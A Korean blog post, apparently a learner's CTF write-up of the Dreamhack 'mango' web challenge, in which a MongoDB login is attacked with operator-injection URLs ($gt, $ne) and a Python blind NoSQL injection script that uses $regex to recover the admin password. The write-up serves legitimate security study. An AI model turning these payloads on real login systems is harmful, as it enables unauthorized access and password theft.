김승현

[Dreamhack : Web] mango 본문

Web/Dreamhack : Web

[Dreamhack : Web] mango

kshind 2023. 2. 22. 21:30

문제

 

db에 저장된 플래그를 얻으라고 하고 admin 계정의 비밀번호가 flag라고 한다.

 

풀이

 

문제에 접속하면 /login?uid=guest&upw=guest가 뜬다. 주소 뒤에 붙여보자.

guest로 로그인이 됐다. mongodb로 제작됐기 때문에 배운 걸 활용 + 검색한 내용으로 작성해 봤다. 

http://host3.dreamhack.games:23138/login?uid[$gt]=ad.&upw[$ne]=

admin을 검색하려고 했는데 guest가 떴다. gt의 경우 입력값보다 필드의 값이 큰 경우를 가리킨다.


참고한 블로그! 다른 것들도 많아서 도움이 될 것 같다.

 

MongoDB 강의 4. Query로 원하는 값만 선택하기 ($lt, $lte, $gt, $gte, $ne, $and, $or) | 솔라리스의 인공지능

이번시간에는 MongoDB에서 query하는 법을 살펴보자. find method와 operator들을 이용해서 collection에서 특정 조건에 해당하는 값만을 읽어올 수 있다. operator들을 살펴보기 전에, customers collection에 다음

solarisailab.com


guest를 제외해보자.

uid에 guest를 제외했더니 dreamhack이 나왔다. 이 방법으론 절대 안 될 것 같으니 일단 blind noSQL injection을 해보자...

 

소스코드는 강의에서 그대로 가져오고 hostname이나 포트만 고쳤습니다!

 

 

소스 코드 분석 정보만...해보겠습니다..!

 

import requests, string  # import한 내용들
HOST = 'http://host3.dreamhack.games'  # hostname
ALPHANUMERIC = string.digits + string.ascii_letters  
#ALPHANUMERIC 변수를 통해 모든 가능한 조합들을 가져옴 (영어 + 숫자)
SUCCESS = 'admin'  # SUCCESS 변수를 쓰지 않고 바로 그냥 'admin'을 써도 가능함
flag = '' 
for i in range(32):  # 32번 반복
    for ch in ALPHANUMERIC:  # ch를 해당 변수만큼 반복(모든 글자를 일단 넣어봄)
        response = requests.get(f'{HOST}:23138/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        # response 변수에 사이트에 admin의 password를 blind noSQL injection하는 코드
        if response.text == SUCCESS:  #  대답으로 오는 게 admin이라면 
            flag += ch  # flag에 해당 글자를 넣고
            break  # ch에 대한 for문 종료
    print(f'FLAG: DH{{{flag}}}')  # flag 출력

 

의문)

근데 강의에 나왔던 password 길이를 알아내는 공격을 해봤었는데

9일 땐 admin, 10일 땐 undefined가 뜨니까 이건 9글자여야 되는 거 아닌가...?

'Web > Dreamhack : Web' 카테고리의 다른 글

[Dreamhack : Web] image-storage  (0) 2023.02.23
[Dreamhack : Web] command-injection-1  (0) 2023.02.22
[Dreamhack : Web ] simple_sqli  (0) 2023.02.22
[Dreamhack : Web] csrf-2  (0) 2023.02.22
[Dreamhack : Web] csrf-1  (0) 2023.02.22